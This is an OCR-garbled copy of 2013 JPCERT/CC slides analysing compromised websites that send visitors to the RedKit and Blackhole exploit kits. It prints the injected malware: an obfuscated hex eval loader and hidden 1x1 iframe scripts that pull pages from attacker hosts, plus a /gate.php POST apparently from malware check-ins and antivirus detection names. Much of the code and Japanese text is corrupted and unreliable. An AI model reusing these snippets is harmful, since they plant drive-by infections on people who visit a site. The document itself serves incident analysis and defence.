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O & A =1 JavaScriptd1— RIFE#FALZINTULD
O :£E 56 (FRedKit Exploit Kit

feded5094 7

ezeval;w="0"+"x";a=0trylak=2}catchiql {a=1}if (lad{try{docunent ["¥x620d" +" v I4++}catch{q) {a2="_"}z="2f _Bd_T7c_75
Ba_7b 70 7B _75 27 2f 30 27 82 14 1127 27 27 27 7d_B8 79 27 Ba 7e B9 27 44 27 Eb 7E 6a_7c_ 74 Bc_75 7b 35 Ba_
79 _Bc 6% _7h_Be_dc_73 _Bc_74_Bc_75_7b_2f 2e 70_Gd_79_BR 74 B Pe 30 47 _14_11_14_11_27_27 2R 27_Ge 7~ o o8 7~ |
T9_Ba_27_44_27 2e Bf _Tb_TYb_77_41_36_36_80_Eb_Bf _Fc_74_Fa Bc_Te_35_79_Tc_36 _Ba_ 76 _Tc_70
Pe_d42 14 _11_27_27_27 27 Be_Te_BA_36_Va_7b_80_73 Bc_35_77_76_Ta_70_7b_70_7R_FH_27_44 2
Tb_Bc_2e_ 42 14 _11_27_27_ 27 27 Be_7e_BA_3b_Ya_7b_80_73 Bc_35 _B3_76_79_Bb Bc_78_27_44 27
27 27 27 Be_7e B9 35 7a 7b 80 73 6o 35 Bf Bc 70 Be Bf 7h 27 44 27 2e 38 77_7f 2e 42 14 112

var gwb = document.createElement(’ iframe’);

§3_35 7a_7h 80 73 6c_35_7e_70_Eb_7h 67 27_44_27 e 39 77 71 Ze_42_14_11_27 27 27 _27_8e_Te 69735 swb.zre = Chttp://vdhumcew. rufcount?0.phe’ :
§c_35 73 _6c_6d_7b_27 44 27 2e 38 _77_71 2e 42_14_11_27_27 27 _27_Be_7e B3 35 7a_7h 80_73_6c_35 7t o . .

27 _2e 38 _77_7f_fe_42_14_11_14_11_27_27 27 27_70_Bd_27_2f_28_6b_76_Ba_7c_74_Bc_75_7h_35_Ge_ Bo_7E gwb.style.position = "absolute’;

Bc_75_7b_49 80 50 6b_2f 2= Be_7e 69 2e 30 30 27 82_14_11_27_27_27 27 27 27 27 27 Bb_76_Ba_tc_74 zwh.stvle.border = 07

Je 79 _70_Th_Be 2f 2e 43 Eb_70_7d _27_70_Eb_44 63 _2e Be Te B9 B3 _2e 45 43 36_Eb_70_7d_45 _2e 30_42
27_27_27_27_27_27_6b_TE_Ba_Tc_74_6c_75_Th_35_fe_Boc_7b_dc_7%_Bo_7T4_Bc_75_7Th_49_80 50_Eh_2f _Ze_fe . ;
35_B8_77_77_6c_75_6b_da _Bf_T0_73_6b_2f_fe_Te B9 _30_42_14_11_27_27_27_27_84_14_11_84_30_2f _30_47 gwb.stvle.width = “lpx’;
(a2);za="";for(i=0:i<z. length; i++){zat=3tring["fromCharCode”] {elv+(z[i1))-5-2);lzaz=zase(zaz);} swb.style. left = "lpx’:

Shided5 098/ . .
- gwb.stvle.top = "1px’

BASN?I—ROB>IIL

gwb.style.height = "1px’;

if {(!document.getElementById( zwb™ ) {
document . write( <div id=¥"zwh¥ >< dive" )
document . getElementById( " gwb’ ). appendChi 1d{gwb);
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O 2013 5APAENSHE ATHER

O SEMEERSN TULDRERTIIED EELZ WS AZIHDR
LCUL\SD,

O “ded509” & & A AT (FEEIU

O Tﬁ)\éﬂ%JavaScripthj— REEES b= TS

O :7E 5'6031& £\ —)L(FBlackhole Exploit Kit

}):

dlinl

F#0c0896+/

sp="gplit"je=windowiag="0"+"x";{f=5tring;2="y";ff=ff.fronCharCode; t ry{document ["¥x620d" +2] "="1: Jeatch{d21vd1 2w} {v=128;vzs=Talse; try{docunent; Jeatch(wb) {vas=
23 i vzsdemn[Meval "1 i1 (1)
{f="17,5d,6c,65,5a,6b,60,66.66,17,71.71,71,6d,5d.6d,17,20,17,72,4,1,17,6d.58,64,17.68,17,34,17,5b,66,50,6c,64,5c,65,6b,25.50,69,50.58,60,0c,9c.63,50c,64.5c,6
6.Bb.1f.1e,60,.6d,68,68,64,6c,1e,20,32,4,1.4,1,17,68,26,6a,68,6a,17.34,17,1e.6f . Bb,6b,B7.81,26,26,68,5c,68d,60,B4,Bb.68,67,6c,68.83,60,64.68,69,6b,6c,26,6a,66
L6426 6a,B5,6b,26,67,6,67.12,32,4,1,17, 68,26, 62, 8b,70,68,6¢c,26,67,66,8a,60,6b,80,66,65,17,34,17,1e,68,58,6a,66,63,60c,.6b,6c,1e,32,4,1,17.68,26,64,6b,70,63,
§c,25,59,66,60,5b,5c.60,17,34,17,1e,27,1e,32,4,1,17,68,25.64,6b,70,63,5¢c, 25,51 ,5¢c,60,5e.5f,6b,17,34,17,12,28,67,61,1e,32,4,1,17,68,25,65,6b,70,63,5¢,25,6e,6
0,5b.6b,5F,17,34,17, 16, 28,67, 6, 12.32,4,1,17,68,25,6a,6b,70,63,5c,25,63,5¢,5d.6b,17,34,17,12,29,67.61,1e,32.4,1,17,68,25,64,6b.70,63,5¢c,25,6b,66,67,17,34,17
Jle,28,67,6F,1e,32,4,1,4,1,17,60,5d,17,11.18,6b,66.5a,8c,64,6c,65,6b,256,58e,5c,8b,3c,63,6c.684,5c,66.6b,39,70,40,56b,11,1e,68,1e,20,20,17,72.4,1,17,56b,66,5a,Bc
JE4.5c,B6,6b,26,8.69,60,6b.6c:, 1, 12,38 ,6b,60,6d,17,80,6b,34,63,1e.68,63,1e.36,33,26,6b.60,6d,36,1e,20,32,4,1,17.6b,66,6a,6c,64,6c,66,6b,26, 6,6, 6b, 30,68, 6
c,64.5c,65,6b,39,70,40,5b.1F, 12,68, 1e,20,25,58,67,67,5¢c,65,5b,3a,5¢,60,63,5b,11,68,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,6
2,60.5¢c,1f,5a,66,66,62,60.5¢c,45,58.64,5¢c,23.54,66,66,62,60,5c,4d.50,63,6c.5c,23,65,3b,50,70,64,23,67,58.6b,57,20,17,72,4,1,17.6d.58,69,17.6b,66,5b.58,70,17,
34,17,65,5c,6e,17,3b,58,6b,5c,11,20,32,4,1,17.6d,58,69,17,5¢c,6,87.60,69,06c.17,34,17,65,5¢c,68e,17.3b,08,6b,5¢c,11,20,32,4,1,17,680,5d,17,1f,85,3b,58,70.64,34,3
4,B6.6c,B3,63,17,78,73,17,66,8b,68,70,64,34,34,27,20.17,86,3b,68.70,6a,34,28,82,4,1,17,6c.6f,87,60,68,6c,26,Ba,6c,8b,4b,60,64,6c.1f,Eb,BR.6b,68,70,26,6e,6c,
Eb,4b B0, B4, 60, 11, 20,17,22,17,20,2d,27,27,27,27,27,21,29,2b,21,65,8b,5%,70,64,20,22,4,1,17,5b,66,6a,6c.64.5c,65,6b,26,60,86,66,62,60,5c.17,24,17, 60, B, BE, B2
,60,5c,45.58,64,5¢,22,19,34,18,22,5¢c.64,52,58,67,5¢,1f,54,66,66,62,60,5¢c,4d,50,63,6c,5c,20,4,1,17,22,17,19,32,5¢c,6f,67,60,60,5¢c,64,34,19,17,22,17,5c,61.67.6
0,69.5c,25,6b,66,5e,44,4b. 42, 6b, 89, 60,65,0e, 11,20, 17,22 17, 1F, 1f.67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,57,34,19,17,22,17,67.58,6b,5f,17,31,17,19,19,20,3%
2,4,1,74,4,1,6d,8c.85,56a,6b.60,86,656,17,3e,5c,Bb,3a,B8,66,62,60,6c.1f,17,66.68,84,6c,17.20,17,72,4.1,17.68d,68,69.17,64,6b,58,68,6b,17,34,17,5b,66,0a,Bc.684,5
c,Bh.6b,26,6a,66,66,62,60,6¢c,26,60,66,6b, 60, 6f,46,6d.11,17 66,68, 64,60c,17,22,17,19,34,18,17.20,32,4,1,17,6d,68,68,17,63,6c,66,17.34,17,6a.6b,68,69,6b,17,22,
17.65,58,64,5¢,25,63,5c,65,5e,6b,5F,17,22,17, 28,324,117, 60,5d, 17,14 17,1, 17,18, 64,6b,58,69,6b,17,20,17,1d,1d, 4,1, 17, 11,17, 65,58, 64,5¢,17,18,34,17,5b.66,5
a,6c.64,5c,65,6b,25,54,66.66,62,60.5¢c,25,6a,6c,59,64,6b,60,60,65.5e,1F,17,27,23,17,65,50,64,5¢,25,63,5¢c.65,5e,6b,5f,17,20,17,20,17,20,4.1,17,72,4,1,17,69,5¢
,Bb,Bc.B9,65,17,85,6c,63,85.32,4,1,17,74,4,1,17,80,5d,17,11,17,64,8b,58,69,6b.17,34,34,17,24,28,17,20,17,69,5¢c,6b,6c,689,65,17,85.6c,63,63.32,4,1,17,6d, 08,69
217.6c,B6,6b,17,84,17 ,6b, 66,66, 6,64, 6c,65,6b,26, 68,86, 66,62,60,5c,.26,60,66.6b, 6,6, 46.6d,1F,17,18,82,19,28,17,88,6c,66,17,20.32,4,1,17,80,6d,17,1F, 17,6, 6
5,6b.17,34,34,17,24,28,17,20,17,5c.65,6b,17,24,17,6b,66 62, 6c,64.5c,85,6b,25,54,66,66,62,60,5¢c,25,63,6c,66,5e,6b,6¢f,32,4,1,17,69,5¢c,6b,6c.68,66,17,6c,685,6¢c,
Ba.5a,58,67.5¢c,1f,17.5b,66.54,6c,64,5c,65,.6b,25,54,66,66.62,60,5¢,25,6a,6c,59.6a,6b,69.60,65,5e,11.17,63,5c.65,23,17.5c,65,8b,17.20,17,20.32,4,1,74,4,1,60,5
d,17.11,65,58,6d,60,5e, 58,60, 66,69,25,54,66,66,62,60,5¢c,5c,65,58,59,68,5c,5b,20,4,1,72,4,1,80,5d.1F,3e,06c.6b,3a,66,66,62,680,5c.1f,1e,6d.60,64,60,6b,5¢,5b,56
JBc.B8,1e,20,34,84,26,2c,20.72,74,6c,68,8a,6c,72,4a,6c,6b,3a,66,B8,62,60,6c.1f,1e,Bd,B0.6a,60,Eb,6c,6b,66,6c,68,1e,23,17,1e,2c.2c, 16, 28,17, 16,28, 12,23,17, 1
L2818, 20,32,4,1, 4,171, 71,71, 6d,6d,6d, 11.20,32,4,1,74,4,1,74, 4, 1" [sp] (", "ds he=fia= [ for(i=2-2;- i 41288 =0 4= 1 )40 = 05 if ((031==0x19 1 ) if (e)e=atf f (elaqtlu[i]))
1 lzeeszals)] ’

FERIIAEHTEY 1 *ﬁlgnéj_ H@ﬁ)j}l/
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function zz=zfff{) {

var g = document.createElement(” iframe’ )

if (!document.zetElementById({ q™ )} |
document.writel <div id=%¥ g¥ > div>");
document.zetElementById{ 9" }.appendChi ld{q);

!

1
function SetCookiefcookieName, cookieYalue.nDavs, path) |
var today = new Date();

var expire = new Datel():

if (nbavs==null || nbawvs==0) nbawys=1:
expire.setTime({today.getTime() + SE00000424%nDays);

document . cookie = cookielNamet”="+ezcapel(cookieYalue)

+ Yrexpires=" + expire.toGMTStrinz() + ({path) 7 *; path=" + path :
1
function GetCookiel name ) {

var start = document.cookie.index0f{ name + “=" };

var len = =start + name.length + 1;

if {0 tstart ) RE

i mame != document.cookie.substring( 0, name.length 7 ) )

{

return null;:

1 SO—R52 T

Copyright©2013 JPCERT/CC All rights reserved.

g.src = “http:ffrevistapublicarte.comfcnt.php’;

g.style.position = "absolute’;

g.strvle.border = 707; .

a.style.height = " Tpx’; URLIZEHD/N\) T —23 7R
g.style.width = "1px’;

q

g.style.top = "lpx’:

Bk

Cetyle left = 1px’: (esd.php. counter.php, dtd.php, clk.php, clicker.php, etc)
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"81a338"

O 201 3F5AKEMNS NS AZHER

O /D Colorel & A &1 A EPT (3EB{N

O #EA SN BJavaScriptd— RIFEEFAL N TUVRLY
O FEFLDOINEY —)L(FRedKit Exploit Kit

PrMe—UEETTIICINE. FL—LFTFR LTS FIOFRPLET T, PR --81a338--2dscript
tvpes"text/javazcript” language="javascript” >
function zzzfff() { var x = document.createElement (" iframe’); x.=zrc = "hitp:/fipafmiz.confcount?4.php’; x.stvle.pozition =
"abzolute’; x.stvle.border = "07; x.stvle.height = "lpx’; x.stwle.width = "1px’; x.stwle.left = "lpx’; x.stvle.top = "lpx’;
if (!'document.getElementById( =" 1) { document.write( <div id=%"x¥"></div>"): document.zetElementById{ x" J.appendChild(x); I}

function SetCookief{cookieMame,cookieYalue,nDays,path) { war today = new Date(); war expire = new Date(); if (nDawvs==null ||

nlays==0) nbays=1; expire.setTine(today.zetTine() + BB00000%24%nDays);: document.cookie = cookieMamet”="+escape(cookieValue)
+ “sexpires=" + expire.toGMTString() + (({path) ? *; path=" + path : “"):}unction GetCookiel name J { war start =

document. cookie. index0f{ name + "= ); war len = start + name.lenzth + 1; if { { lstart ) && ( name !=
document . cookie.substringl 0, name.length 3 3 3 { return noll; } if § start == -1 ) return null; war end =
document . cookie. index0f ¢ ;™. len J; if { end == -1 ) end = document.cookie. length: return unescape(
document.cookie.substringd len, end 3 J:}if (navizator.cookieEnabled){if (GetCookie({ 'visited ug’ )==8001{lelzse{Setlookie
Cwigited _ug’, TEET, T17, T/ hizzefifl{i:}l<iscriptadl-- 0100002

BAEN33—ROY>IIL
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Stream Content

POST /gate.php HTTP/1.0

Host: [EMiEedrasaasang

Accept: */*

Accept-Encoding: identity, *;q=0

Content-Length: 2808

Connection: close

Content-Type: application/octet-stream

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
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Do ooocolo o Foo@oocoollo Hooko {t q..]...=
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Entire conversa tion (3557 bytes) -
“ Find ESave As \é‘grint ASCIH EBCDIC Hex Dump C Arrays * Raw

;_;-ﬁelp M Filter Out This Stream xgluse

[H&XIFER: 2013F6H7HEA] 20135 R ICERIGLIZIRIAE A 2 8 — i
BWRIRTIZMILERDAF v Z2RELI-#ER

TROJ_KRYPTIK.QKF N> R0
Packed.Generic.406 SNX>TVD

PWS-Zbot-FASM!4033F58A0F47 N7 J+1—
Trojan-PSW.Win32.Tepfer.jpwv HARIVAF—
PWS:Win32/Fareit.gen!C XAoOvJk
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JPCERT Coordination Center
—Email: office@jpcert.or.jp
—Tel: +81-3-3518-4600
—Web: https://www.jpcert.or.jp/english/

Incident Reports

—Email: info@jpcert.or.jp
— Web: https://www.jpcert.or.jp/english/ir/form.htmi
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